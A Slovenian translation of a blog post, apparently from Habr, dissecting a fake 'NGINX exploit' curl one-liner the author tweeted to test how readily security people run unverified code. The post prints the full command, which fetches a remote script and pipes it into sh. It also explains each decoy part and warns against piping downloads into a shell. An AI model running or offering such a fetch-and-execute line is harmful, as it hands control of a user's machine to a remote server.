Opomba. prevod:
TL;DR: Pod nobenim pogojem ne uporabljajte cevovoda datotek v sh ali bash. To je odličen način za izgubo nadzora nad računalnikom.
Z vami želim deliti kratko zgodbo o komičnem podvigu PoC, ki je bil ustvarjen 31. maja. Takoj se je pojavil kot odgovor na novice iz
Ko sem končal z delom na novi tehniki zamegljevanja v curl, sem citiral izvirni tvit in "izpustil delujoč PoC", sestavljen iz ene vrstice kode, ki domnevno izkorišča odkrito ranljivost. Seveda je bila to popolna neumnost. Predvideval sem, da bom takoj razkrit in da bom v najboljšem primeru dobil nekaj ponovnih tvitov (no dobro).
Vendar si nisem mogel predstavljati, kaj se je zgodilo potem. Priljubljenost mojega tvita je skokovito narasla. Presenetljivo je, da je v tem trenutku (15. junija ob 00:1 po moskovskem času) malo ljudi ugotovilo, da je to ponaredek. Mnogi ljudje ga ponovno objavijo, ne da bi ga sploh preverili (kaj šele, da bi občudovali čudovito grafiko ASCII, ki jo prikaže).
Samo poglejte, kako lepo je!
Čeprav so vse te zanke in barve odlične, je jasno, da so morali ljudje zagnati kodo na svojem računalniku, da so jih videli. Na srečo brskalniki delujejo na enak način in v kombinaciji z dejstvom, da se res nisem želel spraviti v pravne težave, je koda, zakopana na mojem spletnem mestu, le izvajala odmevne klice, ne da bi poskušala namestiti ali izvesti kakršno koli dodatno kodo.
Majhna digresija:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Družbeno-elektronski inženiring (SEE) - več kot le lažno predstavljanje
Varnost in domačnost sta bila glavni del tega poskusa. Mislim, da so ti pripeljali do njegovega uspeha. Ukazna vrstica je jasno implicirala varnost s sklicevanjem na "127.0.0.1" (dobro znani lokalni gostitelj). Localhost velja za varnega in podatki na njem nikoli ne zapustijo vašega računalnika.
Poznavanje je bila druga ključna komponenta SEE eksperimenta. Ker so ciljno publiko sestavljali predvsem ljudje, ki so seznanjeni z osnovami računalniške varnosti, je bilo pomembno ustvariti kodo tako, da so se njeni deli zdeli znani in poznani (in torej varni). Izposojanje elementov starih konceptov exploit in njihovo nenavadno kombiniranje se je izkazalo za zelo uspešno.
Spodaj je podrobna analiza enovrstičnice. Vse na tem seznamu nosi kozmetične narave, in za njegovo dejansko delovanje ni potrebno praktično nič.
Katere komponente so res potrebne? to -gsS
, -O 0x0238f06a
, |sh
in sam spletni strežnik. Spletni strežnik ni vseboval nobenih zlonamernih navodil, ampak je preprosto serviral grafiko ASCII z ukazi echo
v scenariju, ki ga vsebuje index.html
. Ko je uporabnik vnesel vrstico z |sh
v sredini, index.html
naložen in izveden. Na srečo skrbniki spletnega strežnika niso imeli slabih namenov.
-
../../../%00
— predstavlja preseganje imenika; -
ngx_stream_module.so
— pot do naključnega modula NGINX; -
/bin/sh%00<'protocol:TCP'
- menda začenjamo/bin/sh
na ciljnem računalniku in preusmeri izhod na kanal TCP; -
-O 0x0238f06a#PLToffset
- skrivna sestavina, dopolnjena#PLToffset
, videti kot pomnilniški odmik, ki je nekako vsebovan v PLT; -
|sh;
- še en pomemben fragment. Izhod smo morali preusmeriti na sh/bash, da bi lahko izvršili kodo, ki prihaja iz napadalnega spletnega strežnika, ki se nahaja na0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- lutka, na katero se nanaša netcat/dev/tcp/localhost
tako da je spet vse videti varno. Pravzaprav ne naredi nič in je vključen v linijo za lepoto.
S tem se zaključi dekodiranje enovrstične skripte in razprava o vidikih "socio-elektronskega inženiringa" (zapleteno lažno predstavljanje).
Konfiguracija spletnega strežnika in protiukrepi
Ker je velika večina mojih naročnikov infosec/hekerjev, sem se odločil, da naredim spletni strežnik nekoliko bolj odporen na izraze "interesa" z njihove strani, samo zato, da bi fantje imeli kaj početi (in bi bilo zabavno nastaviti). Tukaj ne bom našteval vseh pasti, saj poskus še vedno poteka, a tukaj je nekaj stvari, ki jih strežnik počne:
- Aktivno spremlja poskuse distribucije na določenih družbenih omrežjih in nadomešča različne predogledne sličice, ki uporabnika spodbujajo k kliku na povezavo.
- Preusmeri Chrome/Mozilla/Safari/itd na promocijski video Thugcrowd namesto prikaza lupinskega skripta.
- Opazuje OČITNE znake vdora/očitnega vdora in nato začne preusmerjati zahteve na strežnike NSA (ha!).
- Namesti trojanca in BIOS rootkit na vse računalnike, katerih uporabniki obiščejo gostitelja iz običajnega brskalnika (hecam se!).
Majhen del antimerov
V tem primeru je bil moj edini cilj obvladati nekatere funkcije Apache - zlasti kul pravila za preusmerjanje zahtev - in pomislil sem: zakaj pa ne?
Izkoriščanje NGINX (resnično!)
Naročite se na
Vir: www.habr.com